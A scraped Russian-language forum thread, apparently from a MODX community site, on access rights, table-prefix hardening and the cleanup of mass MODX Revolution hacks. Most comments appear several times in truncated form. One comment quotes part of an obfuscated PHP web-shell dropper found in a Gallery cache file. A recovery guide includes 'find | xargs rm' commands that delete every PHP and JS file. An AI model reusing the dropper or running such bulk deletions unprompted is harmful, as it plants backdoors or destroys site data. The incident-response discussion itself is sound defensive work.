Вопросы специалистов

Документация для специалистов

Песочница

Безопасность

Blog by Fi1osof

Предупреждение о политиках безопасности

Как закрыть доступ к определенному компоненту

Вывод пункта меню без доступа к документу

Tickets + настройка прав

&#91;REVO&#93; Проверка прав доступов к объектам MODX программно на примере доступов к modResource

Обязательное обновление MODX Evolution до версии 1.0.8

Массовые взломы MODX Revolution

Зараза Core Services

Заблаговременно предпринятые меры  ради безопасности shopModx в Интернете

Дыра в системе авторизации

Заповедь для параноиков: указывать сложный table_prefix при установке MODX

Добрый день. Вам имеет смысл на modx.pro этот вопрос задать, они же разрабы этого. Но если не помогут, дайте знать.

Добрый день. Вам имеет смысл на modx.pro этот вопр

Так никто и не ответил. -1 балл только за вопрос поставили :)

Так никто и не ответил. -1 балл только за вопрос п

:)))
 Пришлите данные доступа в админку на почту n.lanets@modxclub.ru

:)))
 Пришлите данные доступа в админку на почту n

Здесь был оффтопик-коммент, и был удален за оффтопность. Автор имеет право создать отдельный топик.

Здесь был оффтопик-коммент, и был удален за оффтоп

На самом деле с вашей проблемой все очень просто: тикетс использует проверку аутентификации пользователя в конкретном контексте (текущем).
 

$authenticated = !empty($this->xpdo->context) && $this->xpdo->user->isAuthenticated($this->xpdo->context->key);

А то, что вы авторизованы в админке (контекст mgr) еще не значит, что вы авторизовались в контексте web. То есть вас там как бы и нету (если проверять жестко по контексту).
 Я вам в чанк tpl.Tickets.comment.login прописал вызов сниппета Login, авторизуйтесь во фронте и увидите, что все у вас есть.
 Если вы не хотите авторизовываться и в админке и во фронте, то самое простое - написать кратчайший плагин, который в момент авторизации в админке будет делать $modx->user->addSessionContext('web'), и будет вам счастье.

На самом деле с вашей проблемой все очень просто: тикетс использует проверку аутентификации пользователя в конкретном контексте (текущем). $authenticated = !empty($this->xpdo->context) && $this->xpdo->user->isAuthenticated($this->xpdo->context->key); А то, что вы авторизованы в админке (контекст mgr) еще не значит, что вы авторизовались в контексте web. То есть вас там как бы и нету (если проверять жестко по контексту).
 Я вам в чанк tpl.Tickets.comment.login прописал вызов сниппета Login, авторизуйтесь во фронте и увидите, что все у вас есть.
 Если вы не хотите авторизовываться и в админке и во фронте, то самое простое - написать кратчайший плагин, который в момент авторизации в админке будет делать $modx->user->addSessionContext('web'), и будет вам счастье.

На самом деле с вашей проблемой все очень просто: 

Огромное спасибо за помощь. Только один вопрос у меня остался. Т.е. если у меня в Доступе контекстов для admin`а добавлено как в документации контекст: web - политика:TicketUserPolicy, то это не имеет значения? Это как раз и смущает :)

Огромное спасибо за помощь. Только один вопрос у м

Дело тут не в тикетсах (как бы). Вы поймите, в данном случае не проверяются политики в принципе. Ведь он же не смотрит есть у вас права на что-то или нет, он просто смотрит авторизованы вы в этом контексте или нет. В данном случае вы авторизованы только в mgr, и просто из-за того, что он видит, что вы не авторизованы в этом контексте, он вас шлет.

Дело тут не в тикетсах (как бы). Вы поймите, в дан

К слову, я такой механизм не использую. Я просто проверяю права. Или у пользователя есть права на что-то, или их нет.

К слову, я такой механизм не использую. Я просто п

Теперь вроде понятно. И в продолжении темы просто вопрос. Пока разбирался с tickets, подключив HybridAuth  попытался как в документации залогиниться через Вконтакте. Выдает ошибку OAuth-авторизации. И такое встречал уже и на других сайтах - это косяк мой, HybridAuth или что-то Вконтакте? Не в курсе?

Теперь вроде понятно. И в продолжении темы просто 

Не в курсе. Смотрите логи (если они есть). Может вы у себя настройки ВК неверно указали. Здесь может быть все, что угодно. Но скорее всего ВК вряд ли виноват.

Не в курсе. Смотрите логи (если они есть). Может в

Специальных правил отдельно для ShopModx нет, ибо все это — MODX. Довольно подробные и дельные советы описаны здесь: ershov.pw/blog/modx-revolution/how-to-protect-modx-revolution-from-possible-hacks

Добрый день! Специальных правил отдельно для ShopModx нет, ибо все это — MODX. Довольно подробные и дельные советы описаны здесь: ershov.pw/blog/modx-revolution/how-to-protect-modx-revolution-from-possible-hacks

Добрый день! Специальных правил отдельно для ShopM

Извини меня, Андрей, что пишу из под твоего аккаунта — но это просто доказательство дырки. Это я — Василий.
 

Надеюсь, Николай это скоро исправит.

Извини меня, Андрей, что пишу из под твоего аккаунта — но это просто доказательство дырки. Это я — Василий. Надеюсь, Николай это скоро исправит.

Извини меня, Андрей, что пишу из под твоего аккаун

Ок, понял.

Доказательства не требовались. Эта дыра давно мне была известна, еще на стадии внедрения. Лень меня тогда победила дополнительную проверку на expired прописать. Сейчас дописал.
 Спасибо за багрепорт!

Доказательства не требовались. Эта дыра давно мне 

Пора бы удалить комментарий.

Сменил владельца комментария.

Разобрался. Добавил в нужный контроллер функцию:
 

public function checkPermissions() {
 return $this->modx->hasPermission('view_my_component');
 }

Разобрался. Добавил в нужный контроллер функцию: public function checkPermissions() {
 return $this->modx->hasPermission('view_my_component');
 }

Разобрался. Добавил в нужный контроллер функцию: p

Это то что в версии Advanced Distribution есть?

скрытые коннекторы Это то что в версии Advanced Distribution есть?

скрытые коннекторы Это то что в версии Advanced Di

Честно скажу — никогда не пробовал Advanced ставить. Надо попробовать на досуге… А вообще, подправить из можно и на боевом сайте, просто переименовать папку и подправить настройки core/config/config.inc.php

Честно скажу — никогда не пробовал Advanced ставит

Подскажите пожалуйста, что такое «вьюхи»? Не могу догнать)

Подскажите пожалуйста, что такое «вьюхи»? Не могу 

view — представления, такой тип виртуальных таблиц в базах данных. habrahabr.ru/post/47031/

view — представления, такой тип виртуальных таблиц

Спасибо за разъяснение! 
 

А если скрыть коннекторы, не меняя префиксы таблиц, Ваш метод взлома по прежнему будет актуален? Страшно менять префиксы, зная что могут быть возможные проблемы c view (так как не знаю, есть ли они, используются ли они в компонентах, а если да — то в каких)

Спасибо за разъяснение! А если скрыть коннекторы, не меняя префиксы таблиц, Ваш метод взлома по прежнему будет актуален? Страшно менять префиксы, зная что могут быть возможные проблемы c view (так как не знаю, есть ли они, используются ли они в компонентах, а если да — то в каких)

Спасибо за разъяснение! А если скрыть коннекторы, 

Нет, префиксы как раз важней, чем скрытость коннекторов. Вряд ли вы используете вьюхи. Вообще мало кто их используют, только очень опытные операторы баз данных, так что можете делать бекап сайта и пробовать обновлять префиксы приведенным выше скриптом. Но опять-таки, зависит еще от ценности сайта.

Нет, префиксы как раз важней, чем скрытость коннек

В Advanced Distribution можно путь в папке connectors изменить.
 

А кастомные префиксы таблиц мне кажется это обязательное дело и в идеале при установке должны предлагать кнопу «Сгенерировать прификс», как при создания пароля.

В Advanced Distribution можно путь в папке connectors изменить. А кастомные префиксы таблиц мне кажется это обязательное дело и в идеале при установке должны предлагать кнопу «Сгенерировать прификс», как при создания пароля.

В Advanced Distribution можно путь в папке connect

Забыл написать, спасибо за найденую проблему

Всегда пожалуйста!

Спасибо за скрипт, хоть логи отборно руганулись, но всё сработало.

Спасибо за скрипт, хоть логи отборно руганулись, н

Логи в конце ругаются, потому что сессии на базе данных же тоже, и он не может сессию записать по завершению скрипта, но это не страшно.

Логи в конце ругаются, потому что сессии на базе д

Понял, спасибо!

Не за что!

Угу, просто выглядит сначала страшно, пока не прочитал.
 

Кстати, где-то читал про «закалку» модх, так там советовалось менять всё: адрес конектора, адрес менеджера и префикс таблицы тоже затрагивался.
 Больше всего удивило что modx.pro на этом ты расковырял, ну да ладно. 
 

Угу, просто выглядит сначала страшно, пока не прочитал. Кстати, где-то читал про «закалку» модх, так там советовалось менять всё: адрес конектора, адрес менеджера и префикс таблицы тоже затрагивался.
 Больше всего удивило что modx.pro на этом ты расковырял, ну да ладно.

Угу, просто выглядит сначала страшно, пока не проч

И на старуху бывает проруха. К тому же я слишком хорошо знаю MODX. Далеко не каждый сможет это сделать.

И на старуху бывает проруха. К тому же я слишком х

А что вы скажете по поводу последних сообщений на сайте модх про некого zenit:
 «Абсолютно бесполезная вещь с заменой префикса, и нихрена его не долго брутить. Крутишь слепую скулю — проверяешь каждый символ по очередно и за 5 мин твой My_PrfX234_ подбереться. Тут просто cms гомно в плане безопасности „
 Я просто немного шокирован, учитывая, что он как-то изменил свой комментарий после бана на сайте…

А что вы скажете по поводу последних сообщений на 

К вам на улице подбежит голый чувак и начнет что-то задвигать про то, как надо правильно жить. Вы броситесь выслушивать его внимательно? Зачем же вы здесь не ясно кого слушаете? Не знаете что такое Троль в интернете? Не кормите троля. На счет переборов было написано здесь же в статье, и там в паре комментариев. Если он за 5 минут переберет 70-100 в десятой степени вариантов, то с чего вдруг у нас сайты с парой тысяч документов тормозят? Простая арифметика не позволит этого сделать.

К вам на улице подбежит голый чувак и начнет что-т

Ну насторожило только то, что он после бана отписался как-то, вернее отредактировал сообщение свое. + он говорил о том, что символы поочередно проверять на совпадение можно. Вы поймите меня правильно, ваши рекомендации уже сделал. Я конечно же не принимаю ничего на слепую веру, но ваше мнение мне интересно.

Ну насторожило только то, что он после бана отписа

Идите прочитайте, это Василий так пошутил.

Только был там и ничего не было)) Ну и шуточки у Василия, у меня прям апатия началась утром… Ну спасибо, что прояснили!

Только был там и ничего не было)) Ну и шуточки у В

Николай, а если нет доступа к консоли, есть только ISP панель и PhpMyAdmin… как еще можно префикс сменить?


Николай, а если нет доступа к консоли, есть только

Необходимо воспользоваться компонентом Николая Console (поищите в официальном репозитории), наверное именно его имел ввиду Николай, когда говорил о необходимости выполнения скрипта в консоли.

Необходимо воспользоваться компонентом Николая Con

Да, он имел в виду именно его.

Да, вчера уже нашел этот компонент, а в целом достаточно ли руками в phpmyadmin в базе руками изменить префикс каждой таблицы + core/config/config.inc.php? или еще где-то нужно править?

Да, вчера уже нашел этот компонент, а в целом дост

Достаточно, но просто дольше.

Благодарю… кстати возникла идея, сделать бекап базы… затем в редакторе типа notepad++ заменить на лету префикс и поднять еще одну базу данных на сервере + в настройках помимо префекса еще и имя базы сменить…

Благодарю… кстати возникла идея, сделать бекап баз

так Николай скрипт выше написал чтобы автоматизировать и ускорить процесс смены префикса. Вы конечно можете сменить префиксы любым доступным ручным способом — но если у Вас не один сайт выполненный на MODX — то делать это вручную как-то геморно и не по-программстски) А имя базы роли, на сколько я понимаю, особой не играет

так Николай скрипт выше написал чтобы автоматизиро

У меня просто интернет-магазин на 2000 товаров… стремно скрипт на боевой базе запускать (пусть даже бекапы есть)

У меня просто интернет-магазин на 2000 товаров… ст

Всегда пользуюсь только версией advanced. Вы осознанно, уменьшаете аудиторию которая хотела бы пользователями вашими пакетами. Не надо придумывать за пользователя какие папки должны быть у пользователя. Надо всего лишь получать данные из файла config пользователя. Вам не приходило в голову, что у пользователя папка connectors может иметь другое название? Вам ведь говорили. Так чего теперь бегать и кричать уязвимость? Это было очевидно, что мер по обеспечению безопасности много не бывает. Если вы не видели на тот момент уязвимости, это не означало, что её нет.

Всегда пользуюсь только версией advanced. Вы осозн

Сборка ставится на уже установленный сайт. Если вы при установке указали кастомные УРЛы, то и NewsModxBox установится в кастомные папки. И я не бегаю и не кричу, а публикую информацию. Всяко больше пользы, чем от вас.

Вам ведь говорили. Сборка ставится на уже установленный сайт. Если вы при установке указали кастомные УРЛы, то и NewsModxBox установится в кастомные папки. И я не бегаю и не кричу, а публикую информацию. Всяко больше пользы, чем от вас.

Вам ведь говорили. Сборка ставится на уже установл

Да как она могла в кастомные папки если вы игнорировали то, что написано в пользовательских конфигах, Вы считали что прописывать жёсткие пути круто.

Да как она могла в кастомные папки если вы игнорир

Иван, я никогда не считал, что жесткие пути — это круто. Если где-то и были жесткие пути прописаны, то это от лени, а не потому что это круто. Все, расходимся, вопрос ни о чем. Мало того, что пользуетесь чужими трудами бесплатно, так потом приходите еще претензии высказываете. Потом делай для вас репозитории бесплатные. Ничего бесплатного больше не будет, во всяком случае от меня лично.

Иван, я никогда не считал, что жесткие пути — это 

Я не ставлю под сомнение, что Вы являетесь одним ведущих специалистов MODX. Но раз Вы добились такого статуса, надо и критику воспринимать спокойней. Я благодарен за Ваши труды, лично мной был получен большой объём информации, полезность которой даже трудно оценить. Закончим на позитивчеке )

Я не ставлю под сомнение, что Вы являетесь одним в

Николай доброго времени суток! Так а ваш пулл-реквест уже принят в обработку? и Будет ли принят?
 Если Вам не трудно Николай, можете свое мнение изложить на эту проблему, и собственно ваше видение, как и когда эта проблема в реальности появилась? С самого начала жизни MODX или уже совсем позже?

Николай доброго времени суток! Так а ваш пулл-рекв

Пуллреквест только запрещает вывод некоторых системных настроек (включая префикс таблиц). Это помогало в админке, но только до тех пор, пока я не нашел механизмы без авторизации в админке. То есть первый этап взлома был из самой админки с минимальными правами.
 Но вот когда нашел способы без авторизации в админке, то данный багфикс там уже не помогает (хотя и не лишний). То есть этот багфикс помогает только в том случае, если префиксы изменены, но есть доступ в админку.
 

Как давно были эти проблемы? По видимому всегда.
 

Как будет время, попробую подлатать немного, на сколько получится. Как минимум залатаю то, через что сам могу пройти.

Добрый день. Пуллреквест только запрещает вывод некоторых системных настроек (включая префикс таблиц). Это помогало в админке, но только до тех пор, пока я не нашел механизмы без авторизации в админке. То есть первый этап взлома был из самой админки с минимальными правами.
 Но вот когда нашел способы без авторизации в админке, то данный багфикс там уже не помогает (хотя и не лишний). То есть этот багфикс помогает только в том случае, если префиксы изменены, но есть доступ в админку. Как давно были эти проблемы? По видимому всегда. Как будет время, попробую подлатать немного, на сколько получится. Как минимум залатаю то, через что сам могу пройти.

Добрый день. Пуллреквест только запрещает вывод не

Спасибо большое за информацию, очень рада, что нашла Вашу статью сейчас. Как раз делаю сайт, хорошо, что заранее узнала про это, переделывать было бы непросто)

Спасибо большое за информацию, очень рада, что наш

Николай, добрый день. Если можно, то хотелось бы еще спросить вашего совета, какие права доступа лучше выставлять при установке Modx Revo? 777- опасно, насколько я знаю. 

Николай, добрый день. Если можно, то хотелось бы е

775 для папок и 664 для файлов. Можно 755 и 644 соответственно.

Но лучше, чтобы не делать в слепую и понимать, советую разобраться с правами доступа в linux. Материала в интернете море.

775 для папок и 664 для файлов. Можно 755 и 644 соответственно. Но лучше, чтобы не делать в слепую и понимать, советую разобраться с правами доступа в linux. Материала в интернете море.

775 для папок и 664 для файлов. Можно 755 и 644 со

Блин вот просто хочу сказать спасибо. Хоть тему и давно обкатали, но я только сейчас смог побороть лень и загуглить про взлом modx, что бы обезопасить боевые проекты. Возможно уязвимость исправили, так как уже прошло n-ое время, но я все равно сделаю изменения)

Блин вот просто хочу сказать спасибо. Хоть тему и 

Не реклама, просто на дешевых хостингах нормальное подспорье https://find-xss.net/monitoring/  

Не раз выручал мониторинг файловой системы.

Не реклама, просто на дешевых хостингах нормальное подспорье https://find-xss.net/monitoring/ Не раз выручал мониторинг файловой системы.

Не реклама, просто на дешевых хостингах нормальное

Мониторинг - это определение симптомов. К сожалению, далеко не все бэкапами обзаводятся. И когда мониторинг скажет, что сайт заражен, без бэкапов будет тяжело восстановиться.

Мониторинг - это определение симптомов. К сожалени

Жестко очень... Если на сервере недостаточно хорошо настроены политики (open_basedir для сайтов, отдельные права и т.п.), то через любой такой сайт заражаются все сайты на сервере.

Жестко очень... Если на сервере недостаточно хорош

Николай, здравствуйте, не смог восстановить старый аккаунт. Угроза действительно серьезная, у нас около 9 пострадавших сайтов, правда все почему-то на 2.5.х и 5.4-5.6. php. Обнаружили в пятницу, вирус спит, а потом заменяет содержимое всех .js файлов (сайт начинает на фишинговые и рекламные сайты редиректить) детектится просто, смотрим index.php на наличие подозрительных @include и других отличий от стандартного, а также наличия файлов index.php в папках где их не должно быть (assets, core/packages и т.д.).

Николай, здравствуйте, не смог восстановить старый

2.5.1-pl тоже ломануть могли? 

" Мониторинг " - Список измененных файлов приходит на почту. Весьма удобно, не искать , а сразу знать куда влезли. 

" Мониторинг " - Список измененных файлов приходит

Одна из самых крупных катастроф с MODx Revo в истории?

Одна из самых крупных катастроф с MODx Revo в исто

>> " Мониторинг " - Список измененных файлов приходит на почту. Весьма удобно, не искать , а сразу знать куда влезли. 

Вот у меня только на одном из сайтов заменено содержимое более 2000 файлов. И чего мониторинг тут даст? Только одно: оперативное уведомление на счет того, что что-то на сайте изменилось. Но в восстановлении не поможет. Для восстановления очень полезен git. Конечно, бэкапы тоже очень помогают, но они не показывают что же было изменено. А git и поможет восстановить, и покажет где что изменилось (конечно же с учетом настроек .gitignore).

>> " Мониторинг " - Список измененных файлов приходит на почту. Весьма удобно, не искать , а сразу знать куда влезли. Вот у меня только на одном из сайтов заменено содержимое более 2000 файлов. И чего мониторинг тут даст? Только одно: оперативное уведомление на счет того, что что-то на сайте изменилось. Но в восстановлении не поможет. Для восстановления очень полезен git. Конечно, бэкапы тоже очень помогают, но они не показывают что же было изменено. А git и поможет восстановить, и покажет где что изменилось (конечно же с учетом настроек .gitignore).

>> " Мониторинг " - Список измененных файлов прихо

>>> Одна из самых крупных катастроф с MODx Revo в истории?

Не, было уже раньше, правда больше на Эво. Я думаю, дело в том, что технологии (и пропускная способность сети возросла сильно), и количество сайтов на MODX. Тем более, как тут же и говорят, вирус спал. То есть неделю (а то и больше) он просто заражал все, и только потом показался. Получилось эффектненько.

>>> Одна из самых крупных катастроф с MODx Revo в истории? Не, было уже раньше, правда больше на Эво. Я думаю, дело в том, что технологии (и пропускная способность сети возросла сильно), и количество сайтов на MODX. Тем более, как тут же и говорят, вирус спал. То есть неделю (а то и больше) он просто заражал все, и только потом показался. Получилось эффектненько.

>>> Одна из самых крупных катастроф с MODx Revo в 

<<< детектится просто, смотрим index.php на наличие подозрительных @include и других отличий от стандартного, а также наличия файлов index.php в папках где их не должно быть (assets, core/packages и т.д.).
На некоторых сайтах лишних и инфецированных файлов были замечено больше тысячи. Если бэкап есть, то замечательно. Если нет бэкапа, но восстанавливать сайт как-то надо, можно сделать так:

с учетом того, что не было замечено заразы в базе данных, если у вас сайт делался просто на уровне MODX-овых шаблонов, сниппетов и ченков, то делаем так:

1. Делаем бэкап текущего сайта. Даже с вирусами, это все равно бэкап.

2. Сохраняем отдельно файл-конфиг core/config/config.inc.php

3. Удаляем на сайте все php-файлы. find -regex .*\.php -print0 | xargs -0 rm
Если JS-файлы тоже были заражены, их тоже надо удалить find -regex .*\.js -print0 | xargs -0 rm

4. Закидываем конфиг-файл обратно.

5. Накатываем и обновляем MODX.

6. В управлении компонентами переустанавливаем имеющиеся компоненты.

В большинстве случаев, даже если вы использовали какие-то сторонние js-библиотеки или типа того, их не составит труда найти в сети и залить на сайт.

<<< детектится просто, смотрим index.php на наличие подозрительных @include и других отличий от стандартного, а также наличия файлов index.php в папках где их не должно быть (assets, core/packages и т.д.).
На некоторых сайтах лишних и инфецированных файлов были замечено больше тысячи. Если бэкап есть, то замечательно. Если нет бэкапа, но восстанавливать сайт как-то надо, можно сделать так: с учетом того, что не было замечено заразы в базе данных, если у вас сайт делался просто на уровне MODX-овых шаблонов, сниппетов и ченков, то делаем так: 1. Делаем бэкап текущего сайта. Даже с вирусами, это все равно бэкап. 2. Сохраняем отдельно файл-конфиг core/config/config.inc.php 3. Удаляем на сайте все php-файлы. find -regex .*\.php -print0 | xargs -0 rm
Если JS-файлы тоже были заражены, их тоже надо удалить find -regex .*\.js -print0 | xargs -0 rm 4. Закидываем конфиг-файл обратно. 5. Накатываем и обновляем MODX. 6. В управлении компонентами переустанавливаем имеющиеся компоненты. В большинстве случаев, даже если вы использовали какие-то сторонние js-библиотеки или типа того, их не составит труда найти в сети и залить на сайт.

<<< детектится просто, смотрим index.php на наличи

Спасибо за инструкции. Жизненно необходимая информация, если бэков не было. Я  частью, буквально за неделю сделал свежие бэки. Там вроде все чисто, тфу тфу) 

Поэтому решил полностью переутсановить сервер и выложить копии с моментальным обновлением до 2.6.5. Более эффективного метода не существует)

Спасибо за инструкции. Жизненно необходимая информация, если бэков не было. Я  частью, буквально за неделю сделал свежие бэки. Там вроде все чисто, тфу тфу) Поэтому решил полностью переутсановить сервер и выложить копии с моментальным обновлением до 2.6.5. Более эффективного метода не существует)

Спасибо за инструкции. Жизненно необходимая информ

>> Более эффективного метода не существует)

Если уязвимость на сайте есть, то переустановка сервера особо не поможет. Здесь же речь не о уязвимости на уровне серверов, а именно об уязвимости на уровне сайтов. Я сделал так:

1. На уровне nginx отключил все сайты. То есть сами конфиги лежат в /etc/nginx/sites-available, а на подключенные сайты симлинки на них в /etc/nginx/site-enabled. 

2. По одному вычищаю сайты и подключаю. При этом в каждый прописываю fastcgi_param PHP_VALUE open_basedir="/www/site_path/"; , то есть изоляция процессов в рамках конкретной директории.

Это не гарантирует отсутствие последующих взломов, но так зараза из взломанного сайта не распространится на другие. Таким образом легче будет проанализировать природу взлома, да и последствия меньше. 

>> Более эффективного метода не существует) Если уязвимость на сайте есть, то переустановка сервера особо не поможет. Здесь же речь не о уязвимости на уровне серверов, а именно об уязвимости на уровне сайтов. Я сделал так: 1. На уровне nginx отключил все сайты. То есть сами конфиги лежат в /etc/nginx/sites-available, а на подключенные сайты симлинки на них в /etc/nginx/site-enabled. 2. По одному вычищаю сайты и подключаю. При этом в каждый прописываю fastcgi_param PHP_VALUE open_basedir="/www/site_path/"; , то есть изоляция процессов в рамках конкретной директории. Это не гарантирует отсутствие последующих взломов, но так зараза из взломанного сайта не распространится на другие. Таким образом легче будет проанализировать природу взлома, да и последствия меньше.

>> Более эффективного метода не существует) Если у

Кажется я нашел на своем сервере самый старый вредоносный файл. Появился 19-го числа (большинство же взломов было зафиксировано с 20-го числа).

assets/components/gallery/cache/_var_www_vhosts_{sitename}_.b7e3a964094cfe6e29fc9228bad6e7b2.php

На вид очень похоже на то, что именно через этот файл и осуществлялся взлом, то есть уязвимость действительно в gallery была. 

$s=$_SERVER['DOCUMENT_ROOT'].'/assets/';$s1=$s.'images/';$fh=fopen($s1.'accesson.php','w');fwrite($fh,'<?php echo 7457737+736723;$raPo_rZluoE=base64_decode("Y".chr(109)."F".chr(122).chr(90.......

Кажется я нашел на своем сервере самый старый вредоносный файл. Появился 19-го числа (большинство же взломов было зафиксировано с 20-го числа). assets/components/gallery/cache/_var_www_vhosts_{sitename}_.b7e3a964094cfe6e29fc9228bad6e7b2.php С таким содержимым: На вид очень похоже на то, что именно через этот файл и осуществлялся взлом, то есть уязвимость действительно в gallery была.

Кажется я нашел на своем сервере самый старый вред

Нашел такой же файл:
assets/components/gallery/cache/_var_www_vhosts_{sitename}_.b7e3a964094cfe6e29fc9228bad6e7b2.php
Но взлома или какой другой активности не было замечено. 


Комментарий к топику Массовые взломы MODX Revolution

Взломы последней версии могли быть из-за Gallery. На текущий момент безопасная версия MODX - 2.6.5, безопасная версия Gallery - 1.7.1. Все доступно в репозиториях, нужно только вовремя обновиться и не затягивать с этим.

Взломы последней версии могли быть из-за Gallery. 

Да, у меня со вчера после обновления повторных взломов пока не замечено.

Да, у меня со вчера после обновления повторных взл

Есть простой патч, конкретно против этой уязвимости в начало 2-х файлов прописать.

Есть простой патч, конкретно против этой уязвимости в начало 2-х файлов прописать. Подробно лечение описывал у себя в блоге http://fstrange.ru/coder/php/lechit-modx-ot-virusa.html

FreeCode.Academy

безопасность

Массовые взломы MODX Revolution

Заповедь для параноиков: указывать сложный table_prefix при установке MODX

Как закрыть доступ к определенному компоненту

Дыра в системе авторизации

Заблаговременно предпринятые меры ради безопасности shopModx в Интернете

Вывод пункта меню без доступа к документу

Зараза Core Services

Tickets + настройка прав

Обязательное обновление MODX Evolution до версии 1.0.8

[REVO] Проверка прав доступов к объектам MODX программно на примере доступов к modResource

безопасность

Массовые взломы MODX Revolution

Заповедь для параноиков: указывать сложный table_prefix при установке MODX

Как закрыть доступ к определенному компоненту

Дыра в системе авторизации

Заблаговременно предпринятые меры ради безопасности shopModx в Интернете

Вывод пункта меню без доступа к документу

Зараза Core Services

Tickets + настройка прав

Обязательное обновление MODX Evolution до версии 1.0.8

&#91;REVO&#93; Проверка прав доступов к объектам MODX программно на примере доступов к modResource

[REVO] Проверка прав доступов к объектам MODX программно на примере доступов к modResource